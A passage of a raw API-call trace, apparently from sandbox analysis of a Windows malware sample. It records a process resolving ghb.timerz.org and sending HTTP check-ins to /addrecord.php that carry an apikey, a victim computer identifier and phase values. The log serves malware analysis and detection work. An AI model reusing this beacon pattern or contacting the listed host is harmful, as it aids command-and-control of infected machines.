namelen=0x228fca4 | out: name=0x1e0de4c*(sa_family=2, sin_port=0x50, sin_addr="47.245.34.40"), namelen=0x228fca4) returned 0 [0027.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GET /addrecord.php?apikey=BWNG_api_key&compuser=XDUWTFONO|5p5NrGJn0jS HALPmcxz&sid=zN9CRDEjR5xCk7mL&phase=START HTTP/1.0\r\nHost: ghb.timerz.org\r\nKeep-Alive: 300\r\nConnection: keep-alive\r\nUser-Agent: Mozilla/4.0 (compatible; Synapse)\r\n\r\n", cchWideChar=234, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 234 [0027.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GET /addrecord.php?apikey=BWNG_api_key&compuser=XDUWTFONO|5p5NrGJn0jS HALPmcxz&sid=zN9CRDEjR5xCk7mL&phase=START HTTP/1.0\r\nHost: ghb.timerz.org\r\nKeep-Alive: 300\r\nConnection: keep-alive\r\nUser-Agent: Mozilla/4.0 (compatible; Synapse)\r\n\r\n", cchWideChar=234, lpMultiByteStr=0x1e0b89c, cbMultiByte=234, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GET /addrecord.php?apikey=BWNG_api_key&compuser=XDUWTFONO|5p5NrGJn0jS HALPmcxz&sid=zN9CRDEjR5xCk7mL&phase=START HTTP/1.0\r\nHost: ghb.timerz.org\r\nKeep-Alive: 300\r\nConnection: keep-alive\r\nUser-Agent: Mozilla/4.0 (compatible; Synapse)\r\n\r\n", lpUsedDefaultChar=0x0) returned 234 [0027.458] send (s=0x168, buf=0x1e0b89c*, len=234, flags=0) returned 234 [0027.458] QueryPerformanceFrequency (in: lpFrequency=0x228fccc | out: lpFrequency=0x228fccc*=100000000) returned 1 [0027.458] QueryPerformanceCounter (in: lpPerformanceCount=0x228fcc4 | out: lpPerformanceCount=0x228fcc4*=16941017860) returned 1 [0027.458] Sleep (dwMilliseconds=0x0) [0027.472] ioctlsocket (in: s=0x168, cmd=1074030207, argp=0x228fca4 | out: argp=0x228fca4) returned 0 [0027.472] select (in: nfds=361, readfds=0x228fb98, writefds=0x0, exceptfds=0x0, timeout=0x228fb90*(tv_sec=60, tv_usec=0) | out: readfds=0x228fb98, writefds=0x0, exceptfds=0x0) returned 1 [0027.734] ioctlsocket (in: s=0x168, cmd=1074030207, argp=0x228fca4 | out: argp=0x228fca4) returned 0 [0027.735] recv (in: s=0x168, buf=0x1dd091c, len=187, flags=0 | out: buf=0x1dd091c*) returned 187 [0027.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7f5dc, cbMultiByte=24, lpWideCharStr=0x228ed38, cchWideChar=2047 | out: lpWideCharStr="HTTP/1.0 400 Bad request") returned 24 [0027.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7f5dc, cbMultiByte=24, lpWideCharStr=0x228ed38, cchWideChar=2047 | out: lpWideCharStr="HTTP/1.0 400 Bad request") returned 24 [0027.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7f5dc, cbMultiByte=24, lpWideCharStr=0x228ed38, cchWideChar=2047 | out: lpWideCharStr="HTTP/1.0 400 Bad request") returned 24 [0027.735] QueryPerformanceFrequency (in: lpFrequency=0x228fcc0 | out: lpFrequency=0x228fcc0*=100000000) returned 1 [0027.735] QueryPerformanceCounter (in: lpPerformanceCount=0x228fcb8 | out: lpPerformanceCount=0x228fcb8*=21968711284) returned 1 [0027.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Cache-Control: no-cacherequest") returned 23 [0027.735] QueryPerformanceFrequency (in: lpFrequency=0x228fcc0 | out: lpFrequency=0x228fcc0*=100000000) returned 1 [0027.735] QueryPerformanceCounter (in: lpPerformanceCount=0x228fcb8 | out: lpPerformanceCount=0x228fcb8*=21968724904) returned 1 [0027.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Connection: close-cacherequest") returned 17 [0027.735] QueryPerformanceFrequency (in: lpFrequency=0x228fcc0 | out: lpFrequency=0x228fcc0*=100000000) returned 1 [0027.735] QueryPerformanceCounter (in: lpPerformanceCount=0x228fcb8 | out: lpPerformanceCount=0x228fcb8*=21968738117) returned 1 [0027.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Content-Type: text/htmlrequest") returned 23 [0027.735] QueryPerformanceFrequency (in: lpFrequency=0x228fcc0 | out: lpFrequency=0x228fcc0*=100000000) returned 1 [0027.735] QueryPerformanceCounter (in: lpPerformanceCount=0x228fcb8 | out: lpPerformanceCount=0x228fcb8*=21968751214) returned 1 [0027.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Cache-Control: no-cache", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0027.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Cache-Control: no-cache", cchWideChar=23, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Cache-Control: no-cache", lpUsedDefaultChar=0x0) returned 23 [0027.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Cache-Control: no-cacherequest") returned 23 [0027.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Cache-Control: no-cacherequest") returned 23 [0027.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CACHE-CONTROL: NO-CACHE", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0027.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CACHE-CONTROL: NO-CACHE", cchWideChar=23, lpMultiByteStr=0x1e7862c, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CACHE-CONTROL: NO-CACHE", lpUsedDefaultChar=0x0) returned 23 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CACHE-CONTROL: NO-CACHErequest") returned 23 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CACHE-CONTROL: NO-CACHErequest") returned 23 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CACHE-CONTROL: NO-CACHErequest") returned 23 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CACHE-CONTROL: NO-CACHErequest") returned 23 [0027.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Connection: close", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0027.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Connection: close", cchWideChar=17, lpMultiByteStr=0x1e78654, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Connection: close", lpUsedDefaultChar=0x0) returned 17 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Connection: close-CACHErequest") returned 17 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Connection: close-CACHErequest") returned 17 [0027.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONNECTION: CLOSE", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0027.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONNECTION: CLOSE", cchWideChar=17, lpMultiByteStr=0x1e7862c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONNECTION: CLOSE", lpUsedDefaultChar=0x0) returned 17 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONNECTION: CLOSE-CACHErequest") returned 17 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONNECTION: CLOSE-CACHErequest") returned 17 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONNECTION: CLOSE-CACHErequest") returned 17 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONNECTION: CLOSE-CACHErequest") returned 17 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONNECTION: CLOSE-CACHErequest") returned 17 [0027.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Content-Type: text/html", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0027.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Content-Type: text/html", cchWideChar=23, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Content-Type: text/html", lpUsedDefaultChar=0x0) returned 23 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Content-Type: text/htmlrequest") returned 23 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Content-Type: text/htmlrequest") returned 23 [0027.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONTENT-TYPE: TEXT/HTML", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0027.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONTENT-TYPE: TEXT/HTML", cchWideChar=23, lpMultiByteStr=0x1e7862c, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONTENT-TYPE: TEXT/HTML", lpUsedDefaultChar=0x0) returned 23 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONTENT-TYPE: TEXT/HTMLrequest") returned 23 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONTENT-TYPE: TEXT/HTMLrequest") returned 23 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Content-Type: text/htmlrequest") returned 23 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONTENT-TYPE: TEXT/HTMLrequest") returned 23 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONTENT-TYPE: TEXT/HTMLrequest") returned 23 [0027.736] GetCurrentThreadId () returned 0xb50 [0027.736] GetCurrentThreadId () returned 0xb50 [0027.736] GetCurrentThreadId () returned 0xb50 [0027.736] Sleep (dwMilliseconds=0x0) [0027.738] ioctlsocket (in: s=0x168, cmd=1074030207, argp=0x228fcf0 | out: argp=0x228fcf0) returned 0 [0027.738] select (in: nfds=361, readfds=0x228fbe4, writefds=0x0, exceptfds=0x0, timeout=0x228fbdc*(tv_sec=60, tv_usec=0) | out: readfds=0x228fbe4, writefds=0x0, exceptfds=0x0) returned 1 [0027.738] ioctlsocket (in: s=0x168, cmd=1074030207, argp=0x228fcf0 | out: argp=0x228fcf0) returned 0 [0027.738] shutdown (s=0x168, how=1) returned 0 [0027.738] Sleep (dwMilliseconds=0x1) [0027.754] ioctlsocket (in: s=0x168, cmd=1074030207, argp=0x228fcf0 | out: argp=0x228fcf0) returned 0 [0027.754] closesocket (s=0x168) returned 0 [0027.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ea34f8, cbMultiByte=90, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0027.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ea34f8, cbMultiByte=90, lpWideCharStr=0x1e0b89c, cchWideChar=90 | out: lpWideCharStr="

400 Bad request

\nYour browser sent an invalid request.\n\n") returned 90 [0027.754] GetCurrentThreadId () returned 0xb50 [0027.754] GetCurrentThreadId () returned 0xb50 [0027.754] GetCurrentThreadId () returned 0xb50 [0027.754] GetCurrentThreadId () returned 0xb50 [0027.754] GetCurrentThreadId () returned 0xb50 [0027.754] GetCurrentThreadId () returned 0xb50 [0027.754] GetCurrentThreadId () returned 0xb50 [0027.754] GetCurrentThreadId () returned 0xb50 [0027.754] GetCurrentThreadId () returned 0xb50 [0027.754] GetCurrentThreadId () returned 0xb50 [0027.754] GetCurrentThreadId () returned 0xb50 [0027.754] GetCurrentThreadId () returned 0xb50 [0027.754] SetEvent (hEvent=0xc4) returned 1 [0027.754] GetCurrentThreadId () returned 0xb50 [0027.754] GetCurrentThreadId () returned 0xb50 [0027.754] GetCurrentThreadId () returned 0xb50 [0027.754] CloseHandle (hObject=0xe8) returned 1 [0027.754] RtlExitUserThread (Status=0x0) Thread: id = 5 os_tid = 0xacc Thread: id = 71 os_tid = 0x6c8 [0029.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ghb.timerz.org", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0029.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ghb.timerz.org", cchWideChar=14, lpMultiByteStr=0x1e630ac, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ghb.timerz.org", lpUsedDefaultChar=0x0) returned 14 [0029.636] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x0, lpMultiByteStr=0x1eaa9fc, cbMultiByte=20, lpWideCharStr=0x228ed38, cchWideChar=2047 | out: lpWideCharStr="Host: ghb.timerz.org") returned 20 [0029.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="80", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0029.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="80", cchWideChar=2, lpMultiByteStr=0x1e6a804, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="80", lpUsedDefaultChar=0x0) returned 2 [0029.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ghb.timerz.org", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0029.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ghb.timerz.org", cchWideChar=14, lpMultiByteStr=0x1e6304c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ghb.timerz.org", lpUsedDefaultChar=0x0) returned 14 [0029.636] getaddrinfo (in: pNodeName="ghb.timerz.org", pServiceName="80", pHints=0x228fb8c*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x228fbac | out: ppResult=0x228fbac*=0x70caf8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x713320*(sa_family=2, sin_port=0x50, sin_addr="47.245.34.40"), ai_next=0x0)) returned 0 [0029.640] FreeAddrInfoW (pAddrInfo=0x70caf8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x713320*(sa_family=2, sin_port=0x50, sin_addr="47.245.34.40"), ai_next=0x0)) [0029.640] getnameinfo (in: pSockaddr=0x228fc14*(sa_family=2, sin_port=0x50, sin_addr="47.245.34.40"), SockaddrLength=0x10, pNodeBuffer=0x1de810c, NodeBufferSize=0x401, pServiceBuffer=0x1eb212c, ServiceBufferSize=0x20, Flags=10 | out: pNodeBuffer="47.245.34.40", pServiceBuffer="80") returned 0 [0029.640] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e630ec, cbMultiByte=12, lpWideCharStr=0x228ec30, cchWideChar=2047 | out: lpWideCharStr="47.245.34.40") returned 12 [0029.640] htons (hostshort=0x5000) returned 0x50 [0029.640] socket (af=2, type=1, protocol=6) returned 0x188 [0029.640] connect (s=0x188, name=0x228fcd8*(sa_family=2, sin_port=0x50, sin_addr="47.245.34.40"), namelen=16) returned 0 [0029.922] getsockname (in: s=0x188, name=0x1e0de30, namelen=0x228fca4 | out: name=0x1e0de30*(sa_family=2, sin_port=0xc017, sin_addr="192.168.0.244"), namelen=0x228fca4) returned 0 [0029.922] getpeername (in: s=0x188, name=0x1e0de4c, namelen=0x228fca4 | out: name=0x1e0de4c*(sa_family=2, sin_port=0x50, sin_addr="47.245.34.40"), namelen=0x228fca4) returned 0 [0029.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GET /addrecord.php?apikey=BWNG_api_key&compuser=XDUWTFONO|5p5NrGJn0jS HALPmcxz&sid=zN9CRDEjR5xCk7mL&phase=[ALL]494DCEE6F0485AF8 HTTP/1.0\r\nHost: ghb.timerz.org\r\nKeep-Alive: 300\r\nConnection: keep-alive\r\nUser-Agent: Mozilla/4.0 (compatible; Synapse)\r\n\r\n", cchWideChar=250, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 250 [0029.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GET /addrecord.php?apikey=BWNG_api_key&compuser=XDUWTFONO|5p5NrGJn0jS HALPmcxz&sid=zN9CRDEjR5xCk7mL&phase=[ALL]494DCEE6F0485AF8 HTTP/1.0\r\nHost: ghb.timerz.org\r\nKeep-Alive: 300\r\nConnection: keep-alive\r\nUser-Agent: Mozilla/4.0 (compatible; Synapse)\r\n\r\n", cchWideChar=250, lpMultiByteStr=0x1dd9aac, cbMultiByte=250, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GET /addrecord.php?apikey=BWNG_api_key&compuser=XDUWTFONO|5p5NrGJn0jS HALPmcxz&sid=zN9CRDEjR5xCk7mL&phase=[ALL]494DCEE6F0485AF8 HTTP/1.0\r\nHost: ghb.timerz.org\r\nKeep-Alive: 300\r\nConnection: keep-alive\r\nUser-Agent: Mozilla/4.0 (compatible; Synapse)\r\n\r\n", lpUsedDefaultChar=0x0) returned 250 [0029.922] send (s=0x188, buf=0x1dd9aac*, len=250, flags=0) returned 250 [0029.923] QueryPerformanceFrequency (in: lpFrequency=0x228fccc | out: lpFrequency=0x228fccc*=100000000) returned 1 [0029.923] QueryPerformanceCounter (in: lpPerformanceCount=0x228fcc4 | out: lpPerformanceCount=0x228fcc4*=17187495291) returned 1 [0029.923] Sleep (dwMilliseconds=0x0) [0029.923] ioctlsocket (in: s=0x188, cmd=1074030207, argp=0x228fca4 | out: argp=0x228fca4) returned 0 [0029.924] select (in: nfds=393, readfds=0x228fb98, writefds=0x0, exceptfds=0x0, timeout=0x228fb90*(tv_sec=60, tv_usec=0) | out: readfds=0x228fb98, writefds=0x0, exceptfds=0x0) returned 1 [0030.206] ioctlsocket (in: s=0x188, cmd=1074030207, argp=0x228fca4 | out: argp=0x228fca4) returned 0 [0030.206] recv (in: s=0x188, buf=0x1d8488c, len=187, flags=0 | out: buf=0x1d8488c*) returned 187 [0030.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7fccc, cbMultiByte=24, lpWideCharStr=0x228ed38, cchWideChar=2047 | out: lpWideCharStr="HTTP/1.0 400 Bad request") returned 24 [0030.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7fccc, cbMultiByte=24, lpWideCharStr=0x228ed38, cchWideChar=2047 | out: lpWideCharStr="HTTP/1.0 400 Bad request") returned 24 [0030.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7fccc, cbMultiByte=24, lpWideCharStr=0x228ed38, cchWideChar=2047 | out: lpWideCharStr="HTTP/1.0 400 Bad request") returned 24 [0030.206] QueryPerformanceFrequency (in: lpFrequency=0x228fcc0 | out: lpFrequency=0x228fcc0*=100000000) returned 1 [0030.207] QueryPerformanceCounter (in: lpPerformanceCount=0x228fcb8 | out: lpPerformanceCount=0x228fcb8*=22215879295) returned 1 [0030.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78bf4, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Cache-Control: no-cacherequest") returned 23 [0030.207] QueryPerformanceFrequency (in: lpFrequency=0x228fcc0 | out: lpFrequency=0x228fcc0*=100000000) returned 1 [0030.207] QueryPerformanceCounter (in: lpPerformanceCount=0x228fcb8 | out: lpPerformanceCount=0x228fcb8*=22215893871) returned 1 [0030.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78bf4, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Connection: close-cacherequest") returned 17 [0030.207] QueryPerformanceFrequency (in: lpFrequency=0x228fcc0 | out: lpFrequency=0x228fcc0*=100000000) returned 1 [0030.207] QueryPerformanceCounter (in: lpPerformanceCount=0x228fcb8 | out: lpPerformanceCount=0x228fcb8*=22215909418) returned 1 [0030.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78bf4, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Content-Type: text/htmlrequest") returned 23 [0030.207] QueryPerformanceFrequency (in: lpFrequency=0x228fcc0 | out: lpFrequency=0x228fcc0*=100000000) returned 1 [0030.207] QueryPerformanceCounter (in: lpPerformanceCount=0x228fcb8 | out: lpPerformanceCount=0x228fcb8*=22215923474) returned 1 [0030.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Cache-Control: no-cache", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0030.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Cache-Control: no-cache", cchWideChar=23, lpMultiByteStr=0x1e78bf4, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Cache-Control: no-cache", lpUsedDefaultChar=0x0) returned 23 [0030.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78bf4, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Cache-Control: no-cacherequest") returned 23 [0030.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78bf4, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Cache-Control: no-cacherequest") returned 23 [0030.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CACHE-CONTROL: NO-CACHE", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0030.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CACHE-CONTROL: NO-CACHE", cchWideChar=23, lpMultiByteStr=0x1e789ec, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CACHE-CONTROL: NO-CACHE", lpUsedDefaultChar=0x0) returned 23 [0030.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e789ec, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CACHE-CONTROL: NO-CACHErequest") returned 23 [0030.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e789ec, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CACHE-CONTROL: NO-CACHErequest") returned 23 [0030.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e789ec, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CACHE-CONTROL: NO-CACHErequest") returned 23 [0030.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e789ec, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CACHE-CONTROL: NO-CACHErequest") returned 23 [0030.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Connection: close", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0030.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Connection: close", cchWideChar=17, lpMultiByteStr=0x1e78bf4, 